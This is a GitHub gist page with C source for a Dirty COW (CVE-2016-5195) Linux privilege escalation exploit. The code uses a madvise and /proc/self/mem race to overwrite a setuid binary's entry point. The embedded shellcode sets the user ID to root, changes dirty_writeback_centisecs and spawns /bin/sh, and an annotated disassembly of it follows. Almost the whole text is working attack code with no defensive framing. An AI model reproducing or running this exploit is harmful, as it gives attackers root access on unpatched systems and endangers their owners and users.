Skip to content

Instantly share code, notes, and snippets.

@psrok1
Forked from mak/naughtyc0w.c
Last active October 26, 2016 00:20
Show Gist options
  • Save psrok1/f67e09b2f9efe86f9e748d9da1e4e296 to your computer and use it in GitHub Desktop.
Save psrok1/f67e09b2f9efe86f9e748d9da1e4e296 to your computer and use it in GitHub Desktop.
CVE-2016-5195 with dirty_writeback_centisecs setup
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/uio.h>
#include <sys/wait.h>
void *map;
char *name;
int die = 0;
int success = 0;
long offset;
long page_x;
#ifdef __x86_64__
#define SHELL_SIZE 120
#define BASE_OFF 0x400000
char orig_buf[SHELL_SIZE];
char shelcode[SHELL_SIZE] = "H1\xffH\x89\xfeH\x89\xfajuX\x0f\x05\xe8\x00\x00\x00\x00_H\x8d\x7f=H\xff\xc6j\x02X\x0f\x05H\x89\xc7j0H\x89\xe6H\xff\xc2j\x01X\x0f\x05j\x03X\x0f\x05H1\xf6VH\xbb/bin//shSH\x89\xe7H\x89\xf2j;X\x0f\x05\x90/proc/sys/vm/dirty_writeback_centisecs\x00\x00";
#else
#error "unsuported"
#endif
char *write_ptr = shelcode;
char *orig_ptr = orig_buf;
void *trigger(void *arg)
{
int i,c=0;
for(i=0;i<100000000 && !die ;i++)
{
c+=madvise(map,offset+SHELL_SIZE,MADV_DONTNEED);
if(die) break;
}
// printf("madvise %d\n",c);
}
void *overwrite(void *arg)
{
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000 && !die;i++) {
lseek(f,(long)map+offset,SEEK_SET);
c+=write(f,write_ptr,SHELL_SIZE);
}
// printf("procselfmem %d\n", c);
}
void * checker(void *arg){
int i,f;
char buf[SHELL_SIZE];
for(i=0;i<100000000;i++) {
f=open(name,O_RDONLY);
lseek(f,offset+page_x,SEEK_SET);
memset(buf,0,SHELL_SIZE);
read(f,buf,SHELL_SIZE);
close(f);
if(memcmp(buf,orig_ptr,SHELL_SIZE)){
die=1;
success=1;
break;
}
}
}
void worker(char *p0,char *p1){
pthread_t pth1,pth2,pth3;
write_ptr = p0;
orig_ptr = p1;
int f=open(name,O_RDONLY);
map=mmap(NULL,0x1000,PROT_READ,MAP_PRIVATE,f,page_x);
pthread_create(&pth2,NULL,overwrite,NULL);
pthread_create(&pth1,NULL,trigger,NULL);
pthread_create(&pth3,NULL,checker,NULL);
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
pthread_join(pth3,NULL);
munmap(map,0x1000);
close(f);
}
int main(int argc,char *argv[])
{
int type = 0,f;
if (argc<2)return 1;
name = argv[1];
f=open(name,O_RDONLY);
lseek(f,0x10,0);
read(f,&type,2);
lseek(f,0x18,0);
read(f,&offset,8);
if(type == 2) offset -= BASE_OFF;
lseek(f,offset,0);
read(f,orig_buf,sizeof(orig_buf));
close(f);
page_x = offset & ~0xfff;
offset -= page_x;
// printf("%llx %llx\n",page_x,offset);
puts("[*] let make some c0ws dirty");
worker(shelcode,orig_buf);
if(success) {
puts("[+] ok we have some dirty things going on");
if(!fork()) {
execve(argv[1],0,0);
}
wait(NULL);
puts("[*] let's clean up...");
die = 0;
worker(orig_buf,shelcode);
}
return 0;
}
/*
# setresuid
0: 48 31 ff xor rdi,rdi
3: 48 89 fe mov rsi,rdi
6: 48 89 fa mov rdx,rdi
9: 6a 75 push 0x75
b: 58 pop rax
c: 0f 05 syscall
# open /proc/...
e: e8 00 00 00 00 call 0x13
13: 5f pop rdi # rdi = base+0x13
14: 48 8d 7f 05 lea rdi,[rdi+0x3d]
18: 48 ff c6 inc rsi
1b: 6a 02 push 0x2
1d: 58 pop rax
1e: 0f 05 syscall
# write '0'
20: 48 89 c7 mov rdi,rax
23: 6a 30 push 0x30
25: 48 89 e6 mov rsi,rsp
28: 48 ff c2 inc rdx
2b: 6a 01 push 0x1
2d: 58 pop rax
2e: 0f 05 syscall
# close
30: 6a 03 push 0x3
32: 58 pop rax
33: 0f 05 syscall
# spawn shell
35: 48 31 f6 xor rsi,rsi
38: 56 push rsi
39: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
40: 2f 73 68
43: 53 push rbx
44: 48 89 e7 mov rdi,rsp
47: 48 89 f2 mov rdx,rsi
4a: 6a 3b push 0x3b
4c: 58 pop rax
4d: 0f 05 syscall
4f: 90 nop
# strings
50: /proc/sys/vm/dirty_writeback_centisecs
76: 00 (NULL)
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment